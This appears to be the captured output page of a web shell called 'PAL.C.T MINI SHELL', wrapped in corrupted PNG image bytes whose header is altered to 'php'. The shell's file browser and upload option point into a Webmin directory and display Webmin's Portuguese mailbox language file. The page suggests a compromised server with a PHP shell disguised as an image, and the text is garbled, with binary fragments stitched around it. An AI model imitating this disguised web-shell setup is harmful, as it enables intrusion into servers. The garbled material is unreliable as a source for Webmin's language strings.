‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/pt.auto

index_title=Ler correio do usuário
index_none=Você não tem permissão para ler e-mails para nenhum usuário neste sistema.
index_header=Caixas de correio do usuário
index_empty=Sem correio
index_return=Lista de usuários
index_esystem=Nenhum dos servidores de correio suportados (Exim, Qmail, Postfix e Sendmail) foi detectado no seu sistema. Você precisará ajustar a <a href='$1'>configuração do módulo</a> para definir o servidor de correio e possivelmente os caminhos de correio manualmente.
index_esystem2=O servidor de correio definido na <a href='$1'>configuração do módulo</a> não foi encontrado no seu sistema. Você precisará ajustar a configuração para usar o servidor correto.
index_esystem3=Ocorreu um erro ao entrar em contato com o sistema de correio definido na <a href='$1'>configuração do módulo</a>: $2.
index_system6=Servidor de correio: Exim
index_system5=Servidor de correio: Qmail+VPopMail
index_system4=Servidor de correio: Qmail+LDAP
index_system2=Servidor de correio: Qmail
index_system1=Servidor de correio: Sendmail
index_system0=Servidor de correio: Postfix
index_toomany=Há muitos usuários no seu sistema para exibir em uma página.
index_find=Encontre usuários onde nome de usuário
index_equals=é igual a
index_contains=contém
index_eperl=O módulo Perl $1 necessário para o modo de autenticação SMTP selecionado não está instalado ou está faltando um módulo dependente. <a href='$2'>Clique aqui</a> para instalá-lo agora.
index_file=Leia o Mail no arquivo ou no Maildir:
index_nousers=Nenhum usuário foi encontrado!
index_nousersmail=Nenhum usuário com email foi encontrado.

mail_cc=Cc
mail_bcc=Cco
mail_pri=Prioridade
mail_highest=Altíssima
mail_high=Alto
mail_normal=Normal
mail_low=Baixo
mail_lowest=Mais baixo
mail_for2=Para o usuário $1
mail_sent=Na lista de emails enviados
mail_size=Tamanho
mail_level=Ponto
mail_delete=Excluir
mail_open=Aberto
mail_pos=Mensagens $1 a $2 de $3 em $4
mail_none=Este usuário não tem mensagens em $1
mail_all=Selecionar tudo.
mail_invert=Seleção invertida.
mail_nosort=Redefina a classificação.
mail_search=Encontre mensagens onde
mail_body=Corpo
mail_match=partidas
mail_ok=Procurar
mail_nonefrom=Nenhum
mail_mark=Marca como:
mail_mark0=Não lida
mail_mark1=Ler
mail_mark2=Especial
mail_forward=frente
mail_move=Mover para:
mail_copy=Copiar para:
mail_rfc=Da linha
mail_eexists=A mensagem não existe mais!
mail_fchange=mudança
mail_indexlink=Retornar à caixa de correio
mail_deleteall=Excluir tudo
mail_black=Negar remetentes
mail_white=Permitir remetentes
mail_whitemove=Permitir remetentes e caixa de entrada
mail_efile=O arquivo de mensagens não existe
mail_fromsrch=Localizar email com o mesmo remetente
mail_subsrch=Encontre e-mail com o mesmo assunto
mail_tosrch=Localizar email com o destinatário
mail_fromfilter=Criar filtro por remetente
mail_tofilter=Criar filtro por destinatário
mail_subfilter=Criar filtro por assunto
mail_unknown=Desconhecido

mail_sign=Cadastre-se com chave
mail_nosign=&lt;Não assine&gt;
mail_crypt=Criptografar para
mail_nocrypt=&lt;Não criptografar&gt;
mail_samecrypt=&lt;Chaves dos endereços de destino&gt;
mail_addresses=Gerenciar catálogo de endereços
mail_folders=Gerenciar pastas
mail_err=Ocorreu um erro ao listar emails nesta pasta : $1
mail_loginheader=Login do servidor POP3
mail_loginheader2=Login no servidor IMAP
mail_logindesc=Você deve digitar um nome de usuário e senha para acessar o email <br> na sua caixa de entrada no servidor de email $1.
mail_loginuser=Nome do usuário
mail_loginpass=Senha
mail_loginmailbox=Caixa de correio IMAP
mail_login=Conecte-se
mail_reset=Claro
mail_logout=Alterar login do POP3
mail_logout2=Alterar login do IMAP
mail_sig=editar assinatura
mail_jump=Ir para a página :
mail_of=do
mail_replyto=Responder a
mail_folder=Pasta
mail_delall=Excluir tudo
mail_deltrash=Lixo vazio
mail_search2=Procurar por:
mail_search3=Encontre com pontuação acima:
mail_advanced=Busca Avançada
mail_return2=Email do Usuário
mail_esystem=Ocorreu um erro ao entrar em contato com o sistema de correio: $1. Isso deve ser corrigido pelo administrador do sistema.
mail_selread=Selecione ler.
mail_selunread=Selecione não lida.
mail_selspecial=Selecione especial.
mail_specialsync=Sync Special

view_desc2=Mensagem $1 para o usuário $2
view_desc3=Mensagem $1
view_sent=Mensagem $1 na lista de emails enviados
view_body=Conteúdo da mensagem
view_nobody=Esta mensagem não possui conteúdo do corpo.
view_allheaders=Ver todos os cabeçalhos
view_noheaders=Exibir cabeçalhos básicos
view_afile=Nome do anexo
view_atype=Tipo de anexo
view_aactions=Ações
view_aview=Visão
view_aopen=Aberto
view_asave=Salve î‘
view_aplain=Cru
view_anofile=Sem nome de arquivo
view_asize=Tamanho do arquivo
view_enew=Editar como novo
view_print=Impressão
view_strip=Remover anexos
view_mark=Marca como:
view_mark0=Não lida
view_mark1=Ler
view_mark2=Especial
view_markas0=Não lida
view_markas1=Ler
view_markas2=Especial
view_return=email original
view_sub=E-mail anexo
view_sub2=E-mail anexado de $1
view_egone=Esta mensagem não existe mais
view_eugone=Esse usuário não existe

view_gnupg=Verificação de assinatura do GnuPG
view_gnupg_0=A assinatura por $1 é válida.
view_gnupg_1=A assinatura por $1 é válida, mas a cadeia de confiança não pôde ser estabelecida.
view_gnupg_2=A assinatura de $1 é <b>NÃO</b> válida.
view_gnupg_3=O ID da chave $1 não está na sua lista, portanto, a assinatura não pôde ser verificada.
view_gnupg_4=Falha ao verificar a assinatura : $1
view_crypt=Descriptografia de correio do GnuPG
view_crypt_1=A mensagem está criptografada, mas o suporte ao GnuPG não está instalado.
view_crypt_2=Falha ao descriptografar a mensagem : $1
view_crypt_3=O correio foi descriptografado com sucesso.
view_crypt_4=A parte criptografada da mensagem foi descriptografada com sucesso.
view_recv=<a href='$2'>Busque o ID da chave $1 do servidor de chaves</a>.
view_folder=Retornar à caixa de correio
view_dheader=Desanexar o anexo do servidor
view_detach=Desanexar arquivo:
view_dall=&lt;Todos os arquivos&gt;
view_dir=para o arquivo ou diretório do servidor:
view_black=Negar remetente
view_white=Permitir Remetente
view_whitemove=Permitir remetente e caixa de entrada
view_razor=Reportar spam
view_ham=Relatório Ham
view_hammove=Relatório Ham e Caixa de Entrada
view_razordel=Excluir spam
view_dstatus=Status de entrega com falha
view_dstatusok=Status de entrega bem-sucedido
view_final-recipient=Destinatário final
view_diagnostic-code=Motivo da falha
view_remote-mta=Servidor de correio remoto
view_reporting-mta=Servidor de email de relatórios
view_astext=Ver como texto
view_ashtml=Ver como HTML
view_images=Mostrar imagens
view_raw=Ver mensagem não processada
view_aall=Salve todos os anexos como ZIP.
view_aslideshow=Mostrar todas as imagens.

enew_title=Editar email
reply_mailforward=Mensagens encaminhadas
reply_attach3=Anexos carregados
reply_body=Mensagem de texto
reply_errc=Falha ao copiar e-mail
reply_errm=Falha ao mover o correio
reply_return=Escrever um email
reply_efwdnone=Nenhuma das mensagens encaminhadas existe
reply_dsn=Solicitar notificação de status de leitura?
reply_del=Solicitar notificação de status de entrega?
reply_aboot=Adicionar destinatários à agenda?
reply_tabfrom=A partir de
reply_tabto=Para
reply_tabreplyto=Responder a
reply_tabcc=Cc
reply_tabbcc=Cco
reply_tabsigning=Assinatura
reply_taboptions=Opções
reply_addattach=Adicionar campo de anexo.
reply_addssattach=Adicionar campo de anexo do lado do servidor.
reply_html0=Escrever texto
reply_html1=Escrever HTML

reply_spell=Verificar erros de ortografia?
reply_draft=Salvar como rascunho
reply_save=Salvar e editar

send_efrom=Endereço ausente de
send_esubject=Assunto de e-mail ausente
send_title2=Correio salvo
send_sending=Enviando email para $1 ..
send_esmtp=O comando SMTP $1 falhou : $2
send_eattach=Os anexos não podem totalizar mais que $1 kB de tamanho.
send_eperms=O usuário $1 não pode ler $2
send_eperms2=Você não tem permissão para enviar o arquivo $1
send_epath=O executável Sendmail $1 não existe.
send_efile=Falha ao ler o anexo $1 : $2 
send_done=.. feito.

send_epass=Você não pode assinar uma mensagem porque sua senha ainda não foi configurada no módulo GnuPG.
send_esign=Falha ao assinar a mensagem : $1
send_ekey=Não foi possível encontrar a chave do endereço de e-mail $1
send_ecrypt=Falha ao criptografar a mensagem : $1
send_eword=Palavra incorreta $1
send_eword2=Palavra com erros ortográficos $1 - correções possíveis $2
send_eline=Na linha $1 :
send_espell=Os seguintes erros de ortografia foram encontrados na sua mensagem ..
send_draft=Envie para $1 salvo na pasta Rascunhos.
send_drafting=Salvando email em $1 na pasta Rascunhos.
send_eattachsize=O anexo do correio excedeu o tamanho máximo permitido de $1 bytes

delete_title=Excluir email
delete_rusure=Tem certeza de que deseja excluir as mensagens selecionadas $1 de $2? Isso pode levar algum tempo para um arquivo de mensagens grande. Até a exclusão terminar, nenhuma outra ação deve ser executada.
delete_rusure2=Tem certeza de que deseja excluir esta mensagem de $1? Isso pode levar algum tempo para um arquivo de mensagens grande. Até a exclusão terminar, nenhuma outra ação deve ser executada.
delete_ok=Excluir agora
delete_ecannot=Agora você tem permissão para excluir e-mails deste usuário
delete_enone=Nenhum email selecionado para excluir
delete_emnone=Nenhum email selecionado para marcar
delete_efnone=Nenhum email selecionado para encaminhar
delete_ebnone=Nenhum email selecionado para negar
delete_ewnone=Nenhum email selecionado para permitir
delete_ernone=Nenhum email selecionado para denunciar como spam
delete_ehnone=Nenhum email selecionado para relatar como presunto
delete_emoveuser=O usuário para o qual mover o correio não existe
delete_ecopyuser=O usuário para o qual copiar e-mail não existe
delete_emovecannot=Você não tem permissão para mover mensagens para o usuário especificado
delete_ecopycannot=Você não tem permissão para copiar e-mails para o usuário especificado
delete_emovenone=Nenhum email selecionado para mover
delete_ecopynone=Nenhum email selecionado para copiar
delete_nobutton=Nenhum botão clicado
delete_ereport=Falha ao denunciar como spam : $1
delete_errc=Falha ao copiar e-mail
delete_errm=Falha ao mover o correio

confirm_title=Confirmar exclusão
confirm_warn=Tem certeza de que deseja excluir as mensagens selecionadas $1 desta pasta?
confirm_warnf=Tem certeza de que deseja excluir as mensagens selecionadas $1 da pasta <b>$2</b>?
confirm_warn2=Devido ao tamanho e formato da sua caixa de correio, isso pode levar algum tempo. Até a exclusão terminar, nenhuma outra ação deve ser executada.
confirm_warn3=Você tem certeza que quer deletar esta mensagem?
confirm_warn4=Até a exclusão terminar, nenhuma outra ação deve ser executada.
confirm_ok=Excluir agora
confirm_warnall=Tem certeza de que deseja excluir todas as mensagens nesta pasta?
confirm_warnallf=Tem certeza de que deseja excluir todas as mensagens na pasta <b>$1</b>?

search_title=Procurar Resultados
search_ecannot=Você não tem permissão para pesquisar o email deste usuário
search_ematch=Você deve digitar o texto para comparar.
search_escore=Pontuação de spam ausente ou inválida
search_efield=Você deve selecionar um tipo de pesquisa.
search_ewhat=Nenhum texto para comparar com inserido para a linha $1
search_enone=Nenhum critério de pesquisa inserido
search_none=Nenhuma mensagem encontrada.
search_results2=$1 mensagens de correspondência $2
search_results3=$1 mensagens de e-mail não correspondentes $2
search_results4=$1 mensagens correspondentes à sua pesquisa
search_results5=$1 mensagens de correio onde $2 corresponde a $3
search_msg2=Resultados da pesquisa para $1
search_msg4=Procurar Resultados
search_msg5=Resultados de pesquisa para spam com pontuação $1
search_msg6=Resultados da pesquisa para $1 no campo $2
search_local=Em pastas locais
search_all=Em todas as pastas
search_limit=(das últimas $1 mensagens)
search_status=Com status
search_attach=Deve ter anexos?
search_allstatus=Qualquer
search_onestatus=Somente status
search_latest=Mensagens para pesquisar
search_nolatest=Tudo na pasta
search_latestnum=Apenas os mais recentes
search_elatest=Número de mensagens ausente ou inválido para pesquisa
search_withstatus=, com status $1

folder_inbox=Caixa de entrada
folder_sent=Correspondência enviada
folder_drafts=Rascunhos
folder_trash=Lixo

detach_err=Falha ao desanexar arquivo
detach_edir=Nenhum arquivo ou diretório para salvar na entrada
detach_eopen=Falha ao abrir $1 : $2 
detach_ewrite=Falha ao gravar em $1 : $2 
detach_title=Desanexar arquivo
detach_ok=Gravou o anexo no arquivo do lado do servidor $1 ($2).

sform_title=Busca Avançada
sform_header=Opções avançadas de pesquisa de e-mail
sform_andmode=Modo de critérios
sform_and=Encontre mensagens que correspondam a todos os critérios abaixo ..
sform_or=Localizar mensagens corresponde a qualquer critério abaixo.
sform_neg0=contém
sform_neg1=não contém
sform_ok=Procure agora
sform_folder2=Pesquisar nas pastas
sform_all=&lt;Todas as pastas&gt;
sform_local=&lt;Pastas locais&gt;
sform_where=Onde
sform_text=o texto
sform_from=De: cabeçalho
sform_subject=Assunto: header
sform_to=Para: cabeçalho
sform_cc=Cc: cabeçalho
sform_bcc=Cco: cabeçalho
sform_date=Data: cabeçalho
sform_body=Corpo da mensagem
sform_headers=qualquer cabeçalho
sform_allmsg=mensagem inteira
sform_size=tamanho da mensagem
sform_return=formulário de pesquisa avançada

find_enone=Nenhum usuário correspondente à sua pesquisa foi encontrado
find_title=Procurar Resultados
find_results=Usuários correspondentes à pesquisa por $1 ..
find_user=Nome do usuário
find_real=Nome real
find_group=Grupo
find_home=Diretório inicial
find_size=Tamanho do correio
find_incount=Emails
find_sentcount=Enviei
find_fcount=Pastas
find_in=$1 em $2

acl_same=Usuário com o mesmo nome
acl_userse=Todos, exceto usuários
acl_usersg=Membros de grupos
acl_from=Endereços permitidos de
acl_any=Qualquer endereço
acl_fdoms=Caixa de correio @ domínios
acl_faddrs=Endereços listados
acl_fdom=Qualquer endereço @ domínio
acl_fromname=Nome real para o endereço De
acl_apath=Limitar arquivos e programa para o diretório
acl_attach=Tamanho máximo total de anexos
acl_unlimited=Ilimitado
acl_sent=Armazenar correio enviado na caixa de correio
acl_canattach=Pode anexar arquivos do lado do servidor?
acl_candetach=Pode desanexar arquivos para o servidor?
acl_usersm=Usuários correspondentes
acl_asame=Igual ao nome de usuário
acl_usersu=Com UID na faixa
acl_sec=Incluir grupos secundários?
acl_dir=Pode ler arquivos de mensagens no diretório
acl_dirauto=Decida automaticamente (em qualquer lugar se todos os usuários estiverem visíveis, em nenhum outro lugar)

log_delmail=$2
log_movemail=Movidas $1 mensagens de $2 para $3
log_copymail=Copiou $1 mensagens de $2 para $3
log_send=Correio enviado para $1
log_read=Leia o correio para $1

emodified=Esta pasta foi modificada desde a última vez que foi visualizada! Volte à <a href='$1'>lista de emails</a> e tente novamente.

razor_title=Relatórios como spam
razor_title2=Relatando como presunto
razor_report=Relatar esta mensagem ao Razor e outros bancos de dados de bloqueio de spam do SpamAssassin.
razor_report2=Relatar as mensagens selecionadas ao Razor e outros bancos de dados de bloqueio de spam do SpamAssassin.
razor_report3=Cancelar o relatório das mensagens selecionadas para o Razor e outros bancos de dados de bloqueio de spam do SpamAssassin.
razor_done=.. feito
razor_err=.. falhou! Veja a mensagem de erro acima pelo motivo.
razor_moved=.. feito e movido para a pasta $1.
razor_deleted=.. pronto, e mensagem excluída também.

ham_title=Relatando como presunto
ham_report=Relatar esta mensagem como não spam ao Razor e outros bancos de dados SpamAssassin.

black_title=Negando Remetente
black_done=Adicionado o endereço de email $1 à lista de endereços negados do SpamAssassin.
black_already=O endereço de email $1 já está na lista de endereços negados do SpamAssassin.

white_title=Permitindo Remetente
white_done=Adicionado o endereço de email $1 à lista de endereços permitidos do SpamAssassin.
white_already=O endereço de email $1 já está na lista de endereços permitidos do SpamAssassin.

ldap_emod=Módulo Perl ausente $1 necessário para conectar-se ao LDAP
ldap_econn=Falha ao conectar ao servidor LDAP $1 porta $2
ldap_elogin=Falha ao ligar ao servidor LDAP $1 como $2 : $3 
ldap_ehost=Nenhum servidor LDAP definido na configuração do módulo
ldap_eport=Nenhuma porta do servidor LDAP válida definida na configuração do módulo
ldap_euser=Nenhum login LDAP definido na configuração do módulo
ldap_ebase=Nenhum DN base LDAP definido na configuração do módulo

delall_title=Excluir todo o correio
delall_rusure=Tem certeza de que deseja excluir todos os emails de $1? $2 mensagens totalizando $3 serão excluídas para sempre.
delall_ok=Excluir agora

slide_title=Imagens anexadas
slide_prev=Anterior
slide_next=Próximo

left_mail=Enviar
left_search=Procurar:
left_folders=Gerenciar pastas
left_addresses=Livro de endereços
left_prefs=Preferências de Correio
left_forward=Encaminhar email
left_autoreply=Resposta automática
left_filter=Filtros de Email
left_pass=Mudar senha
left_sig=editar assinatura
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚